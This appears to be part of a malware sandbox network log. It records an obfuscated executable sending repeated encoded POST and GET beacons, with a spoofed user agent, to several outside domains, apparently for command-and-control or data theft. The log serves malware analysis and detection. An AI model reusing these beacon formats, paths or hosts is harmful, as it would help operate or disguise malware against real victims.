Oct 24, 2024 15:18:39.130636930 CEST	483	OUT	GET /kb53/?7Bohe=1b0Bx/9NiZhb6KmmoJd23RBorG5xllzN0i8gdStRuw/8VfKYv2Om9x/jS97CLdhlzFEmDVkAPiLAZwnB3Rwit6hYzhYwWiv4x0tew8h6s38ig+exADmGM0H8mBfgPTkFYw==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.everyone.golf Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:18:39.753602982 CEST	403	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 24 Oct 2024 13:18:39 GMT Content-Type: text/html Content-Length: 263 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 37 42 6f 68 65 3d 31 62 30 42 78 2f 39 4e 69 5a 68 62 36 4b 6d 6d 6f 4a 64 32 33 52 42 6f 72 47 35 78 6c 6c 7a 4e 30 69 38 67 64 53 74 52 75 77 2f 38 56 66 4b 59 76 32 4f 6d 39 78 2f 6a 53 39 37 43 4c 64 68 6c 7a 46 45 6d 44 56 6b 41 50 69 4c 41 5a 77 6e 42 33 52 77 69 74 36 68 59 7a 68 59 77 57 69 76 34 78 30 74 65 77 38 68 36 73 33 38 69 67 2b 65 78 41 44 6d 47 4d 30 48 38 6d 42 66 67 50 54 6b 46 59 77 3d 3d 26 76 44 3d 68 30 65 38 35 76 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?7Bohe=1b0Bx/9NiZhb6KmmoJd23RBorG5xllzN0i8gdStRuw/8VfKYv2Om9x/jS97CLdhlzFEmDVkAPiLAZwnB3Rwit6hYzhYwWiv4x0tew8h6s38ig+exADmGM0H8mBfgPTkFYw==&vD=h0e85v"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49999	209.74.64.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:44.830508947 CEST	746	OUT	POST /elh0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.royapop.online Origin: http://www.royapop.online Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.royapop.online/elh0/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 6b 78 74 66 6c 74 78 45 62 56 47 33 30 74 2f 34 55 58 6f 77 6f 54 61 6c 62 56 65 79 2b 49 6f 6c 73 69 79 35 56 2b 51 58 56 59 6e 4a 78 6d 75 72 63 4b 6e 7a 58 6c 52 6d 43 78 69 41 47 45 33 4a 74 5a 37 58 78 46 45 4d 74 6e 49 31 38 5a 45 44 65 6f 65 6c 64 57 6a 41 37 69 52 46 38 6a 7a 43 35 72 63 33 43 57 6d 42 4d 75 47 53 5a 32 76 65 75 55 59 35 6a 32 4a 32 70 47 58 59 62 2b 63 4c 34 35 45 73 56 32 51 6a 77 66 34 6e 52 64 72 72 2b 31 70 77 76 49 2b 43 41 44 4a 63 6f 72 65 65 63 6b 68 6e 2b 71 58 48 67 44 37 69 55 77 62 37 75 55 42 72 79 67 47 6a 47 61 57 2f 33 70 4b 6f 4c 69 4a 6b 50 56 51 3d Data Ascii: 7Bohe=kxtfltxEbVG30t/4UXowoTalbVey+Iolsiy5V+QXVYnJxmurcKnzXlRmCxiAGE3JtZ7XxFEMtnI18ZEDeoeldWjA7iRF8jzC5rc3CWmBMuGSZ2veuUY5j2J2pGXYb+cL45EsV2Qjwf4nRdrr+1pwvI+CADJcoreeckhn+qXHgD7iUwb7uUBrygGjGaW/3pKoLiJkPVQ=
Oct 24, 2024 15:18:45.495470047 CEST	533	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:18:45 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	50000	209.74.64.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:47.372359037 CEST	766	OUT	POST /elh0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.royapop.online Origin: http://www.royapop.online Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.royapop.online/elh0/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 6b 78 74 66 6c 74 78 45 62 56 47 33 79 39 50 34 59 55 51 77 35 44 62 58 55 31 65 79 30 6f 70 69 73 69 4f 35 56 2f 55 48 56 4c 44 4a 78 44 53 72 64 4c 6e 7a 53 6c 52 6d 61 42 69 42 62 55 33 34 74 5a 33 68 78 48 51 4d 74 6e 4d 31 38 62 4d 44 65 66 4b 6b 62 47 6a 43 7a 43 52 62 34 6a 7a 43 35 72 63 33 43 57 43 76 4d 75 65 53 5a 46 33 65 76 32 67 32 75 57 4a 35 71 47 58 59 66 2b 63 48 34 35 46 37 56 79 59 5a 77 5a 30 6e 52 63 37 72 2f 68 39 33 6d 49 2b 49 4f 6a 49 53 72 6f 6a 67 47 6e 5a 4f 31 63 47 7a 2b 67 62 6c 56 47 32 52 30 32 4a 44 68 41 71 62 57 4a 65 49 6d 5a 72 42 52 42 5a 55 52 43 48 4d 49 62 49 6a 4b 6d 52 52 32 5a 44 57 43 38 54 7a 59 49 71 50 Data Ascii: 7Bohe=kxtfltxEbVG3y9P4YUQw5DbXU1ey0opisiO5V/UHVLDJxDSrdLnzSlRmaBiBbU34tZ3hxHQMtnM18bMDefKkbGjCzCRb4jzC5rc3CWCvMueSZF3ev2g2uWJ5qGXYf+cH45F7VyYZwZ0nRc7r/h93mI+IOjISrojgGnZO1cGz+gblVG2R02JDhAqbWJeImZrBRBZURCHMIbIjKmRR2ZDWC8TzYIqP
Oct 24, 2024 15:18:48.036823034 CEST	533	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:18:47 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	50001	209.74.64.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:49.917623997 CEST	1783	OUT	POST /elh0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.royapop.online Origin: http://www.royapop.online Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.royapop.online/elh0/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 6b 78 74 66 6c 74 78 45 62 56 47 33 79 39 50 34 59 55 51 77 35 44 62 58 55 31 65 79 30 6f 70 69 73 69 4f 35 56 2f 55 48 56 4c 4c 4a 78 31 47 72 63 6f 2f 7a 52 6c 52 6d 54 68 69 45 62 55 33 68 74 5a 65 6f 78 48 4e 75 74 6c 45 31 39 35 30 44 59 75 4b 6b 56 47 6a 43 78 43 52 47 38 6a 79 66 35 72 4d 37 43 57 79 76 4d 75 65 53 5a 44 62 65 76 6b 59 32 73 57 4a 32 70 47 57 58 62 2b 63 72 34 35 73 4f 56 79 55 4a 77 70 55 6e 53 39 4c 72 79 79 46 33 70 49 2b 4f 4a 6a 4a 50 72 6f 76 46 47 6e 56 73 31 63 61 64 2b 67 6a 6c 58 78 37 72 67 43 35 6a 7a 68 65 6e 62 71 4f 76 35 4a 62 46 51 43 4a 7a 64 42 7a 32 56 34 49 41 47 41 31 49 34 37 47 35 65 39 4f 38 59 39 33 39 62 57 73 57 59 73 53 35 75 4c 51 38 41 46 2b 45 45 33 42 59 66 43 43 67 37 50 63 64 61 62 6c 49 47 34 6c 48 41 4e 48 74 43 31 74 37 66 33 6d 78 4e 6a 36 62 6d 72 59 6e 61 4a 4a 47 2b 58 57 50 4a 53 79 37 49 44 55 42 37 30 52 35 72 59 45 6e 4d 70 67 65 52 71 33 48 52 47 46 50 52 65 69 79 75 37 7a 61 57 31 48 6c 46 59 72 6a 6e 42 4e 75 [TRUNCATED] Data Ascii: 7Bohe=kxtfltxEbVG3y9P4YUQw5DbXU1ey0opisiO5V/UHVLLJx1Grco/zRlRmThiEbU3htZeoxHNutlE1950DYuKkVGjCxCRG8jyf5rM7CWyvMueSZDbevkY2sWJ2pGWXb+cr45sOVyUJwpUnS9LryyF3pI+OJjJProvFGnVs1cad+gjlXx7rgC5jzhenbqOv5JbFQCJzdBz2V4IAGA1I47G5e9O8Y939bWsWYsS5uLQ8AF+EE3BYfCCg7PcdablIG4lHANHtC1t7f3mxNj6bmrYnaJJG+XWPJSy7IDUB70R5rYEnMpgeRq3HRGFPReiyu7zaW1HlFYrjnBNuikH/cHAbszP4f5rhaC+3cdml8cNfMHY4SqxZqZjOLN/5yWb2vun7bgAWDM8ZaH3wYhiaYE4LZbGRfzUxSZX6OJTFRv3NFprnQvZf+1j7mmMKiwxv+7+lrW+6qfl6g9DuTutquj3W03UXYzSvJH/u53PuaHwgoOOvwY+sdwANcKnBEVUa3hNQ6FRONLCIVzmwkoy/OzktsGUmWNQQ7Y/p6vdH70Cy6UPFnEjqtfMqb/FNzXfyaXM7B/7KXnKdJIC8F+HiXea66px17ddXZf24yuCfoBY/Pidfq8+cbpMIrvwLh3R0t7KdgYF6IPwldQbx6lrt/z6zyrBS4Kxjyfa0iq/NhuqndJXzLkqkXLGUVkv4KE9nGyrGl0blNr4zioet/TQuFJjnU85nFWaDS57lAFOFOChao12UJx0HhhiEmMiYmaSRqhipbwuMTtOHOiVpXfoS7qkfJb1pV4aTzC7jsbbdMUokqrE8LrtUMD/ik/5Td8F4AEko839CbLKl3JkHUSvhySjHfYjmbogueY4tTV8PdIv4CXSIR8eE6aYZStv3cFTFaDxMcH/toPUjm3HLNpqSdcHgEaEKDgdeDo3yM0UjcmIrVyzMw9XUZtwT+THHLkuoImLPRG+pZsILV02BjF3DtOhGR34+bXzx2YZ0oR3mcENNEt5JLU [TRUNCATED]
Oct 24, 2024 15:18:50.580857038 CEST	533	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:18:50 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50002	209.74.64.190	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:52.464195013 CEST	484	OUT	GET /elh0/?7Bohe=pzF/mZhnV0GSmLX+GycMwU6WT06CzqVGvQudBfY4Dqjs/3KtcpfJYGVadgWONk/4osLjzgZwgHUQ0ZwKAvTdTnbY8Qd/xTrHuaQfE1OzRfvOWlfeun0LuB51rXnhStJusg==&vD=h0e85v HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Host: www.royapop.online Connection: close User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Oct 24, 2024 15:18:53.154932976 CEST	548	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:18:53 GMT Server: Apache Content-Length: 389 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50003	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:06.576262951 CEST	734	OUT	POST /deo6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.b-ambu.com Origin: http://www.b-ambu.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.b-ambu.com/deo6/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 41 44 61 68 42 67 75 6a 54 65 63 73 30 70 67 49 46 4c 46 6d 61 43 4d 30 70 56 48 72 38 4c 77 67 4b 73 66 59 74 33 5a 6c 64 39 76 39 46 45 58 33 51 32 73 49 6b 68 6f 37 4f 36 30 48 68 58 4e 59 56 6d 55 41 78 4b 77 56 73 57 4a 72 73 38 5a 2b 7a 4e 38 34 6b 7a 72 53 78 61 77 71 44 36 5a 54 64 53 59 70 38 54 2b 75 54 4f 44 58 38 76 53 51 6e 4d 76 6d 77 36 5a 30 4b 42 6a 68 58 4a 59 47 4c 43 79 58 4e 67 47 71 4c 2f 6c 48 52 74 48 39 42 6d 6a 2b 72 62 64 62 69 58 5a 41 58 34 4c 69 68 38 4d 65 30 4a 57 69 79 4f 37 54 4d 51 6d 32 4e 4d 47 6e 77 47 4b 72 35 51 34 72 46 67 44 2b 49 6b 4e 74 66 41 30 3d Data Ascii: 7Bohe=ADahBgujTecs0pgIFLFmaCM0pVHr8LwgKsfYt3Zld9v9FEX3Q2sIkho7O60HhXNYVmUAxKwVsWJrs8Z+zN84kzrSxawqD6ZTdSYp8T+uTODX8vSQnMvmw6Z0KBjhXJYGLCyXNgGqL/lHRtH9Bmj+rbdbiXZAX4Lih8Me0JWiyO7TMQm2NMGnwGKr5Q4rFgD+IkNtfA0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50004	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:09.124147892 CEST	754	OUT	POST /deo6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.b-ambu.com Origin: http://www.b-ambu.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.b-ambu.com/deo6/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 41 44 61 68 42 67 75 6a 54 65 63 73 6d 34 51 49 4a 4d 78 6d 64 69 4d 31 6e 31 48 72 31 72 77 6b 4b 73 54 59 74 79 34 36 63 50 4c 39 4c 42 54 33 52 30 45 49 6e 68 6f 37 57 4b 30 47 72 33 4e 48 56 6d 49 35 78 49 30 56 73 53 70 72 73 35 39 2b 7a 39 41 37 72 44 72 51 36 36 77 6f 4f 61 5a 54 64 53 59 70 38 54 61 45 54 4f 37 58 39 62 75 51 32 5a 44 6e 39 61 5a 7a 44 68 6a 68 64 70 59 43 4c 43 79 35 4e 68 61 41 4c 39 64 48 52 74 58 39 41 30 4c 39 68 62 64 5a 6d 58 59 42 58 4a 4b 6c 76 4e 6f 72 7a 70 6a 2b 75 64 37 51 4a 6d 4c 63 58 75 4f 50 6a 6d 6d 54 70 44 77 63 55 51 69 58 53 48 64 64 42 58 67 73 49 54 42 56 35 78 2f 55 68 30 64 58 4c 43 62 41 51 56 69 75 Data Ascii: 7Bohe=ADahBgujTecsm4QIJMxmdiM1n1Hr1rwkKsTYty46cPL9LBT3R0EInho7WK0Gr3NHVmI5xI0VsSprs59+z9A7rDrQ66woOaZTdSYp8TaETO7X9buQ2ZDn9aZzDhjhdpYCLCy5NhaAL9dHRtX9A0L9hbdZmXYBXJKlvNorzpj+ud7QJmLcXuOPjmmTpDwcUQiXSHddBXgsITBV5x/Uh0dXLCbAQViu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50005	84.32.84.32	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:19:11.667177916 CEST	1771	OUT	POST /deo6/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.b-ambu.com Origin: http://www.b-ambu.com Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.b-ambu.com/deo6/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 41 44 61 68 42 67 75 6a 54 65 63 73 6d 34 51 49 4a 4d 78 6d 64 69 4d 31 6e 31 48 72 31 72 77 6b 4b 73 54 59 74 79 34 36 63 50 44 39 4c 33 76 33 51 56 45 49 6d 68 6f 37 49 36 30 44 72 33 4d 62 56 6d 41 39 78 49 6f 76 73 55 6c 72 2b 76 68 2b 36 76 6b 37 38 7a 72 51 31 61 77 6c 44 36 5a 38 64 53 49 58 38 54 71 45 54 4f 37 58 39 61 2b 51 6d 38 76 6e 75 71 5a 30 4b 42 6a 6c 58 4a 5a 58 4c 43 71 50 4e 67 75 36 4b 4a 68 48 53 4e 6e 39 4e 6e 6a 39 38 4c 64 48 68 58 5a 53 58 4d 53 71 76 4e 6b 52 7a 70 6e 55 75 64 44 51 4c 58 71 59 48 63 47 48 33 57 33 30 73 67 67 74 4b 67 6d 52 53 42 5a 4c 42 32 30 36 48 6a 64 33 70 78 37 4f 31 32 51 6f 51 45 76 57 47 77 4f 6b 67 4b 77 46 77 4c 52 63 7a 39 45 56 36 4f 54 78 77 54 33 6b 53 79 7a 56 6f 6c 61 45 30 65 47 62 53 4e 48 32 54 55 41 41 76 74 71 6f 4c 30 71 73 34 53 2b 55 32 77 79 7a 46 77 4c 34 42 4d 57 53 30 32 37 6d 2b 75 34 34 41 6c 46 6a 6c 4b 49 46 6b 59 55 4d 73 4f 6a 63 34 6d 50 4c 6c 76 67 4b 78 71 68 59 6a 50 47 67 35 45 37 68 6f 75 45 35 [TRUNCATED] Data Ascii: 7Bohe=ADahBgujTecsm4QIJMxmdiM1n1Hr1rwkKsTYty46cPD9L3v3QVEImho7I60Dr3MbVmA9xIovsUlr+vh+6vk78zrQ1awlD6Z8dSIX8TqETO7X9a+Qm8vnuqZ0KBjlXJZXLCqPNgu6KJhHSNn9Nnj98LdHhXZSXMSqvNkRzpnUudDQLXqYHcGH3W30sggtKgmRSBZLB206Hjd3px7O12QoQEvWGwOkgKwFwLRcz9EV6OTxwT3kSyzVolaE0eGbSNH2TUAAvtqoL0qs4S+U2wyzFwL4BMWS027m+u44AlFjlKIFkYUMsOjc4mPLlvgKxqhYjPGg5E7houE5/QlohQOI/yZFO0aQR/RGxMoV6FBlPk3GKwyRQlehZlLuVfdrh2HN8JcotzzdrpxnNeeyQzbk2EEtbhLHQmkEjyKG8HCd61+mBWEIjNVH1/j9r87oiTxcGrF9X/yvKRO7i4yIDEf75f3sFMub4ZZ+pD4l2nDXr+RT48SeXniUhnimsNXuUfrK+NTpFsTuNFvqDNKspkWZhjtY2qy2Ytap+fUfUCqI+wcHVC5+QX5iNtg4Eim9WCvS4YdpBMLhFEQgQ3geCTVntKV73iU7HmItoVYrb6xYxpjCvzKX1i4NIcqx3D2FrrcymwVqfRb5CQ8iv4OHhRlOZ24CvxMV2PPQRx8ChZ